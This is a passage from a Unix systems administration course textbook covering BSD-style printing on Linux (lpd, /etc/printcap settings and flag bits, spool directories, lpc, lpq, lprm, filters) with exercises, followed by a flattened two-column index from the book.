 connect the printer,

Discussed in a previous section.
 make sure a copy of lpd is running,
 create an entry in the /etc/printcap file for the printer,
 create the spool directory for the new printer,
 use the lpc command to enable printing for the new printer

lpd

lpd is the print spooler daemon. In order for any printing to occur a copy of lpd must
be running. Normally lpd is started by one of the system startup scripts, usually
/etc/rc.d/rc.M.

On startup lpd reads the /etc/printcap file to find out about existing printers and
will check the spool directories for any print jobs that haven't been printed.
lpd then waits for any new print requests. When it receives a new request it will fork
of a child lpd to handle the request.

Exercises

Is there a copy of lpd running on your system? Where is it started? What is its file
permissions?

/etc/printcap

printcap is the printer configuration file and uses the same format as termcap the
BSD terminal configuration file. printcap is a colon delimited text file. Each printer
has one entry. An example printcap entry follows

lp|ap|arpa|ucbarpa|LA-180 DecWriter III:\

:br#1200:fs#06320:tr=\f:of=/usr/lib/lpf:\
:lf=/usr/adm/lpd-errs:
An entry in printcap must fit on one line. Notice in the above three line example the
\ character is used to ignore the special meaning of the new line character at the end
of the first two lines. This effectively means that the entry is only one line.

Printer names
The first field in each entry of the /etc/printcap file specifies the printer's name. A
printer can actually have multiple names. Multiple names are separated using the |
character. The above example printer has the following names lp ap arpa ucbarpa
and LA-180 DecWriter III.

The default printer

David Jones, Bruce Jamieson (2/20/25) Page 510

85321, Systems Administration Chapter 19: Printers

A printer called lp is the standard default printer. Whenever a user prints a file without
specifying the destination printer the print job will be sent to the printer called lp. You
should always have one printer with the name lp.

Configuration settings
The remaining fields of the /etc/printcap file are used to specify a variety of
different settings. These configuration settings use one of three possible formats
 XX=string
 XX
 XX#number
Where XX is a two letter identifier for a particular configuration setting. Table 19.2
lists some of the settings.

David Jones, Bruce Jamieson (2/20/25) Page 511

85321, Systems Administration Chapter 19: Printers

Example settings
Some example printcap settings include
 sd=/usr/spool/lp/scribe
The sd setting specifies where the spool directory for the printer is.
 fo
The fo setting forces the printer to do a form feed when the device is first opened.
 mx#3
The mx setting specifies the maximum size (in disk blocks) of files that can be
printed.
Setting Purpose
sd=directory specify spool directory
lf=file specify error log file
lp=file specify device file
af=file specify accounting file
specify that printer can both read
rw and write information (can send status
info back to computer)
br#number specify baud rate
fc#number specify flag bits to turn off
fs#number specify flag bits to turn on
xc#number specify local mode bits to turn off
xs#number specify local mode bits to turn on
pl#number specify page length in lines
pw#number specify page width in characters
py#number specify page height in pixels
px#number specify page width in pixels
ff=string specify string that causes printer to form feed
fo output form feed when device is opened
mc#number specify maximum number of copies of a job allowed
mx#number specify maximum file size in blocks allowed
sc specify that multiple copies should be prevented
sf specify that form feeds should be prevented
sh suppress the printing of headers
Ta b l e 1 9 . 2
Some /etc/printcap configuration settings

Flag bits

David Jones, Bruce Jamieson (2/20/25) Page 512

 85321, Systems Administration Chapter 19: Printers

You won't be expected to memorise the flag and local bits. You should however be
aware of their purpose.
Flag bits are used to specify various communication settings for the printers. Table
19.3 shows the meanings and octal values of the more important bits.
The flag bits that are to be turned on are specified using the fs identifier (see Table
19.2). Those flag bits to be turned off are specified using the fc identifier.
The values for these fs and fc are obtained by adding the octal values from Table 19.3
together.

For example
Assume you need to set the following for the printer you are adding
 clear all delay bits and echo/full duplex
 set even and odd parity, enable automatic flow control.
Calculating the fc setting would look like this

0040000 + 0010000 + 0020000 + 0002000 + 0000400 + 0001000 + 0000010 =

0073410
Which results in the printcap entry

fc#0073410
For the fs entry

0100 + 0200 + 0001 = 0301

For the printcap entry

fs#0301
Remember these numbers are in octal (base 8). If you don't know how to do addition
in base 8 obtain a calculator which supports octal. Most good scientific calculators
should.
Octal value Description
0040000 form feed delay, 2 seconds
0010000 carriage return delay, 0.08 second
0020000 carriage return delay, 0.16 second
0002000 tab delay
0000400 newline delay
0001000 newline delay, 0.1 second
0000200 even parity
0000100 odd parity
0000040 pass all characters from filter to printer immediately
0000020 translate linefeed into carriage return&linefeed
0000010 echo, full duplex
0000002 pass characters from printer to filter immediately

David Jones, Bruce Jamieson (2/20/25) Page 513

 85321, Systems Administration Chapter 19: Printers

0000001 automatic flow control

Ta b l e 1 9 . 3
Flag settings

Local mode bits

Local mode bits are used to configure the serial driver and use the same format as flag
bits only with the xc and xs settings instead. Most of these settings are intended for
terminals. Those relevant for printers are listed in Table 19.4

Octal value Description

000040 prevent serial driver from playing with codes destined for printer
040000 minimize flow control interference from line noise
000001 tell the printer to backspace when it receives an erase character
Ta b l e 1 9 . 4
Local Mode bits for a serial printer

The spool directory

Each printer must have its own spool directory. They cannot share spool directories. A
spool directory should be owned by the root user and the lp group and the
permissions should be set to rwxrwxr-x.
Printer spool directories are usually under the directory /var/spool with the name of
the directory matching the main name of the printer.
For example the spool directory for the printer rigel would be /var/spool/rigel.

Contents
Apart from the cf and df files for each print job the printer spool directory will also
contain the files
 lock
Its existence prevents multiple copies of lpd working for this printer.
 status
Contains the current status of printing on this printer.
These files are created by the components of the print system.

lpc

lpc is used to control the operation of the print service. It can be used to
 disable or enable a printer,
 disable or enable a printer's spooling queue,

David Jones, Bruce Jamieson (2/20/25) Page 514

 85321, Systems Administration Chapter 19: Printers

 rearrange the order of jobs in a spooling queue,

 find the status of printers, and their associated spooling queues and printer
daemons.
The following is an excerpt from UNIX System Administration Handbook by Nemeth
et al (consider the Sys Admin bible by many) on lpc
lpc won our award for "flakiest program of 1989". It was also awarded this honor in
1985, 1986, 1987 and 1988. lpc has not really gotten any better, but other truly flaky
programs (like Sun's automounter) have come into widespread use, and lpc is no
longer at the top of the heap.

Command line or interactive

lpc understands a number of commands to perform the operations listed above. These
commands can be entered as command line arguments. If lpc is started without any
arguments it enters an interactive mode in which you can enter lpc commands.

For example

beldin:# lpc status

lp:
queuing is enabled
printing is enabled
no entries
no daemon present
beldin:1# lpc
lpc status
lp:
queuing is enabled
printing is enabled
no entries
no daemon present

lpc commands
Table 19.5 lists some of the commands that can be given to lpc. There are a number of
other commands for which you should refer to the manual page.

Starting a printer
In order to start printer for a new printer you need to enable spooling (the lpc enable
command) for the printer and start a copy of the daemon (the lpc start command)
for the printer.

Command Purpose

David Jones, Bruce Jamieson (2/20/25) Page 515

 85321, Systems Administration Chapter 19: Printers

? [command]
help [command] provide short description of command
abort [all | terminate the daemon and then disable printing for the specified
printer ] printers.
enable [all |
printer ] start spooling for the specified printers
start [all |
printer ] start printing for the listed printers
stop [ all |
printer ] stop a spooling daemon and disable printing
status [
printer ] display the current status of each printer
Ta b l e 1 9 . 5
lpc commands

Adding a printer
 connect the printer,
Get a parallel printer cable, choose a parallel port connect the computer and printer
and identify the device file that corresponds to the parallel port. On my system it is
/dev/lp1
 make sure a copy of lpd is running,
Try the command ps -ax | grep lpd. Oops, not there. Add the command
/usr/sbin/lpd to the file /etc/rc.d/rc.M so it will start the next time the
system boots. Rather than reboot the system for this to take effect I can run it from
the command line now.
 create an entry in the /etc/printcap file for the printer,
Add the following entry,
lp:lp=/dev/lp1: \
sd=/var/spool/lp:sh
This is my only printer so it is my default printer. The device file is /dev/lp1, the
spool directory will be /var/spool/lp and I don't want any headers printed (sh).
 create the spool directory for the new printer,
mkdir /var/spool/lp
chown root.lp /var/spool/lp
chmod 775 /var/spool/lp
 use the lpc command to enable printing for the new printer
lpc enable lp
lpc start lp

Printing without a printer

Even if you don't have printer you can still experiment with the UNIX print service.
What do you notice about the following printcap entry?

lp:lp=/tmp/printer:sd=/usr/spool/lp1:sh

David Jones, Bruce Jamieson (2/20/25) Page 516

 85321, Systems Administration Chapter 19: Printers

The device file for this printer, specified by the lp setting, is the file /tmp/printer,
which isn't a device file. lpd simply redirects its output to the device file specified in
the /etc/printcap file.
If this file is not a device file the output is simply appended onto the end of the file.

Exercises

Perform the steps necessary to add a printer to your system. If you don't have a
printer use a normal file as the device file. Test the connection by printing
something.

lpq

lpq displays the list of jobs that are currently waiting to be printed. With no
parameters lpq will display a list of all print jobs on the default printer. lpq command
line options are specified in Table 19.6

Options Purpose
-P printer display the queue of the specified printer
-l display using long format
display the queue periodically until it empties, interval specifies
+[interval]
how many seconds it should sleep
job# display only those jobs with matching job numbers
username display only jobs belonging to the specified user
Ta b l e 1 9 . 6
lpq switches

lprm

lprm [-Pprinter][-][ job#...][username...]

lprm is used to remove jobs from the printer queue. The job to be removed can be
specified by its printer, job number and username. The printer name defaults to lp and
the job number defaults to the current job. Username defaults to the user invoking it.
Only the root user can remove someone else's print job.

Exercise

Disable the print daemon for your printer and send a few print jobs to the printer.
Since the daemon has been turned off the jobs will be queued waiting for the
print daemon to be re-enabled.

David Jones, Bruce Jamieson (2/20/25) Page 517

 85321, Systems Administration Chapter 19: Printers

Use the lpq command to view the print queue. Use the lprm command to
remove the print jobs.
Re-enable printing using lpc

Filters
Filters are generally used to transform data to be printed into a format that the printer
can handle. For example, printing to a Deskjet 500 results in the following output

hello
there
a nice effect
The effect is caused because the printer expects a carriage return character to properly
handle a new line. This problem can be handled by using a filter program that adds a
carriage return character to the end of each line to be printed.

Page description languages

The UNIX print system was originally developed in the days of line printers. Today it
is generally used for high-resolution printers that use some form of page description
language (PDL). A PDL defines how the layout will be represented onto the page.
Common PDLs include
 PCL, Printer Command Language
Developed by Hewlett-Packard as an alternative to postscript. Generally only
found on HP printers and is common amongst the PC world.
 PostScript
PostScript is a fully-fledged programming language. PostScript files are text files
consisting of PostScript commands. It is one of the most common PDLs.
Filters are used to convert data to be printed into the appropriate PDL. Filters to
convert to most PDLs are available from the Internet. In most instances a printer will
come with an appropriate filter.

Filters are executable

You should remember that the filter will be an executable program. If the filter does
not have the execute permission set the whole print system will not work as expected.

Exercise

The following command translates every letter to uppercase

tr '[a-z]' '[A-Z]'

David Jones, Bruce Jamieson (2/20/25) Page 518

85321, Systems Administration Chapter 19: Printers

Use the command as a filter for your printer. What happens if your filter
program doesn't have execute permissions set?

Conclusions
The process of adding a printer to a UNIX machine involves two processes, hardware
and software. The hardware steps involved in adding a printer are very similar to those
involved in adding a terminal.
The UNIX print software is much more complex than that of a single-user operating
system and is based on the concept of print spooling. The print services of BSD and
SysV are completely different. With Linux using a system based on the BSD print
service.
The Linux/BSD print system consists of the following components
 the lpr command,
Used by users to print.
 the lpd daemon,
The main print daemon.
 the /etc/printcap file,
Contains configuration information for each printer.
 the lpc command,
The main administration program used by the Systems Administrator.
 the lpq command,
Used to view the queue of print jobs.
 the lprm command,
Used to remove print jobs from the queue.

Review Questions

19.1
Explain the relevance and purpose of the following in relation to the BSD print system
 lpd
 /etc/printcap
 lpc

David Jones, Bruce Jamieson (2/20/25) Page 519

 85321, Systems Administration Index

Index
/proc, 66, 287
/root, 60
/sbin, 64
' /usr, 60
/usr/bin, 65
', 106
/usr/include, 62
/usr/lib, 62
" /usr/lib/magic, 74
/usr/local, 61
", 106
/usr/local/bin, 65
", 106
/usr/local/sbin, 65
/usr/man, 49
# /usr/sbin, 65
#!, 142 /usr/src, 62
/usr/src/linux, 283
/var, 60
$
/var/log, 66
$#, 145 /var/log/messages, 310
$$, 144 /var/log/wtmp, 314
$*, 145 /var/spool, 62
$?, 145 /var/spool/mail, 62
$@, 145
$0, 145 [
[, 153
&
&, 103 `
&&, 152
`, 109
/
{
/bin, 64
/boot, 282 {}, 118
/dev, 66, 113, 219
/dev/null, 114 |
/etc, 65
|, 109
/etc/fstab, 235
||, 152
/etc/group, 69, 197, 200
/etc/inetd.conf, 356
/etc/inittab, 265, 266 ~
/etc/issue, 404 ~/.bash_history, 194
/etc/motd, 278, 404 ~/.bash_logout, 194
/etc/passwd, 69, 197 ~/.cshrc, 194
Problems with, 379 ~/.exrc, 194
/etc/printcap, 418, 420 ~/.forward, 194
/etc/profile, 194 ~/.login, 194
/etc/rc.d/init.d, 272 ~/.logout, 194
/etc/services, 353 ~/.profile, 194
/etc/shadow, 197
/etc/skel, 195
<
/etc/smb.conf, 364
/etc/sudoers, 214 <, 109
/etc/syslog.conf, 311 <<, 109

David Jones, Bruce Jamieson (2/20/25) Page 520

85321, Systems Administration Index

> DISPLAY, 119

DTE, 399
>, 109 du, 305
>&, 109 Dumb terminals, 400
>>, 109 dump, 249

2 E
2>, 109 ed, 131
Environment control, 114
A eval, 123, 171
exec, 71
ac, 314
export, 120
accton, 315
expr, 117
ACS, 37
ext2, 230
AUSCERT, 394
AUUG, 37
F
B fastboot, 278
fasthalt, 278
banner, 51
file, 73
bash, 99
File attributes, 74
Bastard Operator from Hell, 35
File descriptors, 108
Blocks, 226
File permissions, 77
boot disk, 274
file systems, 226
boot loader, 263
File types, 73
bootstrap, 261
Filename substitution, 103
break, 160
Filters, 109
find, 88
C ;, 92
cal, 51 {}, 92
case, 155 actions, 91
cat, 52 tests, 90
chgrp, 84 Firewalls, 393
chmod, 82 FIRST, 394
chown, 84 for, 158
Code of Ethics, 29 forking, 71
compress, 257 free, 306
continue, 160 fsck, 240
COPS, 384 Functions, 161
Crack, 385
Creating device files, 222 G
cron, 301
getty, 270, 405
crond, 302
grep, 55
crontab, 301
gzip, 258
csh, 99
cut, 54
H
D halt, 278
head, 52
date, 51
HOME, 119
DCE, 399
Home directories, 193
dd, 255
hostname, 270
Device files, 113
Devices, 218
df, 304
I
diff, 291 id, 69
Disk quotas, 391 if, 151

David Jones, Bruce Jamieson (2/20/25) Page 521

85321, Systems Administration Index

inetd, 355 Password aging, 388

init, 265 Password cracking, 388
init.d, 271 Passwords, 192
I-Nodes, 230 paste, 54
patch, 291
K Patches, 291
PATH, 119
Kernel, 281 PCL, 427
kill, 165, 308 PostScript, 427
ksh, 99 Process attributes, 71
ps, 306
L PS1, 119
PS2, 119
last, 314
lastcomm, 315
less, 52 R
LILO, 261 rc, 271
Links, 87 rc.local, 271
Linux Documentation Project, 42 rc.serial, 271
ln, 238 rc.sysinit, 271
local, 162 read, 148
Local variables, 120 readonly, 116
logger, 311 reboot, 278
Login name, 191 Regular expressions, 126
login process, 403 renice, 308
Login shell, 194 restore, 249
lpc, 418, 423 return, 163
lpd, 418, 419 ROM, 261
lpq, 418, 425 Root disk, 274
lpr, 418, 419 RS-232, 398
lprm, 418, 426 RTFM, 38
Run levels, 265
M
Mail aliases, 196 S
Major device number, 221 S/KEY, 389
MAKEDEV, 219 sa, 316
man pages, 48 SAGE, 37
minicom, 411 SAGE-AU, 37
minor device number, 221 Samba, 364
mkfs, 233 Satan, 385
mknod, 223 Search paths, 380
Modems, 410 sed, 135
Modules, 286 set, 115, 168
more, 52 setgid, 79, 382
Mount, 234 setuid, 79, 382
mt, 256 sh, 99
SHELL, 119
N Shell dot files, 194
Shell variables, 114
netstat, 354
shutdown, 278, 279
nice, 307
Signals, 308
NR_TASKS, 294
Skeleton directories, 195
numeric permissions, 78
sleep, 103
Numeric permissions, 80
smbclient, 365
sort, 52
P Ssh, 389
Partitions, 226 stderr, 108

David Jones, Bruce Jamieson (2/20/25) Page 522

85321, Systems Administration Index

stdin, 108 X
stdout, 108
Sticky bit, 78 xargs, 94
stty, 406
su, 205
sudo, 213
Symbolic permissions, 78
syslog, 310
syslogd, 311

T
Tagging, 130
tail, 52
tar, 253
tcpd, 360
TCPWrappers, 360
telinit, 266, 269
TERM, 119
termcap, 409
terminfo, 409
test, 153
top, 306, 307
tr, 53
trap, 164
Tripwire, 391

U
UID, 119, 193
umask, 85
uname, 50, 306
uniq, 53
UNIX account, 190
UNIX command format, 46
UNIX commands, 46
unset, 116
until, 159
uptime, 306
Usenix, 37
USER, 119
useradd, 208
userdel, 209
usermod, 209

V
vi, 45
vmlinuz, 282

W
wait, 164
wc, 55
which, 70
while, 157
who, 50
whoami, 50

David Jones, Bruce Jamieson (2/20/25) Page 523

85321, Systems Administration Index

David Jones, Bruce Jamieson (2/20/25) Page 524

Chapter X Chapter Title

David Jones and Bruce Jamieson (2/20/25) Page 525